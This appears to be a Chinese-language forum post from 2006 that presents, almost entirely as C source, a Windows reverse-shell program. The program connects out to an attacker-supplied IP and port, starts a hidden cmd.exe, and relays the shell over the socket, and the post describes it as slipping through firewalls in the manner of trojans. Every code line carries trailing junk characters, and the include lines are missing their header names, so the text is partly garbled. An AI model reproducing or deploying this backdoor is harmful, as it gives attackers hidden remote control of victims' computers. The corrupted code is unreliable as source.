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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &!jq!u$(  
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/* ============================== m"4B!S&Fc(  
Rebound port in Windows NT S5_t1wqBJ  
By wind,2006/7 8Bpip  
===============================*/ 'L{p,  
#include `5'2Hg+  
#include 1zjaR4Tf  
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#pragma comment(lib,"wsock32.lib") i"HgvBHx  
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void OutputShell(); ? } (=  
SOCKET sClient; [;KmT{I9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &[@\f^~  
u,7zFg)H  
void main(int argc,char **argv) zX kx7d8  
{ nxaT.uFd1  
WSADATA stWsaData; lJ{V  
int nRet; Y)XvlfJ,h?  
SOCKADDR_IN stSaiClient,stSaiServer; Z0ReWrl;`  
alm- r-Kb3  
if(argc != 3) J!h^egP  
{ 0xpx(T[  
printf("Useage:\n\rRebound DestIP DestPort\n"); ( 9$"#o  
return; B9X8  
} Y ?'tUV  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Pxhz@":[  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u+D[_yd^  
4 tXSYHd3  
stSaiClient.sin_family = AF_INET; lKKERO5+  
stSaiClient.sin_port = htons(0); ^0tw%6:  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @Bs0Avj.  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) otr>3a*'  
{ B@t'U=@7  
printf("Bind Socket Failed!\n"); o }@n>R  
return; 6EJVD!#[K  
} #Hu~}zy  
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stSaiServer.sin_family = AF_INET; op7FZHs  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E \{<;S  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vR>o}%`  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) wJG$c-(\0  
{ C!%:o/  
printf("Connect Error!"); ;sPzOS9  
return; XU-m"_t  
} K:r\{#9  
OutputShell(); *t9eZ!_f?  
} H?yE3 w  
Q:MhjkOr}  
void OutputShell() i0pU!`0  
{ Tby,J B^U  
char szBuff[1024]; ~}%~oT  
SECURITY_ATTRIBUTES stSecurityAttributes; ?m;;D'1j  
OSVERSIONINFO stOsversionInfo; hu5!ev2  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; A^Cj1:,  
STARTUPINFO stStartupInfo; 2KI!af[I  
char *szShell; ]hTb@.  
PROCESS_INFORMATION stProcessInformation; l@~LV}BI  
unsigned long lBytesRead; RL}KAGK  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z=+03  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Lz4eh WntO  
stSecurityAttributes.lpSecurityDescriptor = 0; "uD= KlA  
stSecurityAttributes.bInheritHandle = TRUE; ZR3nK0  
d^V$Z6* ]  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c-CYdi@  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); WDx Mo`zT  
?IYY'fS"  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); t\R; < x  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; < {ru|-9  
stStartupInfo.wShowWindow = SW_HIDE; d"T Ht}  
stStartupInfo.hStdInput = hReadPipe; &M"ouy Zo9  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8+'C_t/0i  
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GetVersionEx(&stOsversionInfo); 0SV\{]2  
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switch(stOsversionInfo.dwPlatformId) 4j'd3WGpbN  
{ K|^wc$  
case 1: BWq/TG=>  
szShell = "command.com"; V1bh|+o9  
break; s#-eN)1R  
default: pyB~M9Bp/  
szShell = "cmd.exe"; $H2GbZ-I  
break; $k 2)8#\  
} XGs^rIf  
x:z0EYL  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >bm|%Ou"  
:nGMtF  
send(sClient,szMsg,77,0); 4zc<GL3[  
while(1) /Jlv"R 1,  
{ %w"nDu2Gcv  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <Gb %uny  
if(lBytesRead) 'fW#7W  
{ :#X[%"g.  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); c{3rl;Cs  
send(sClient,szBuff,lBytesRead,0); S`q%ypy  
} vK$^y^  
else ,Ww  
{ ^gR+S  
lBytesRead=recv(sClient,szBuff,1024,0); ecHP &Z$  
if(lBytesRead<=0) break; Jh@_9/?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); gRgog*z  
} <[Oo*:A!7  
} Fwfo2   
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return; T1 MY X  
}
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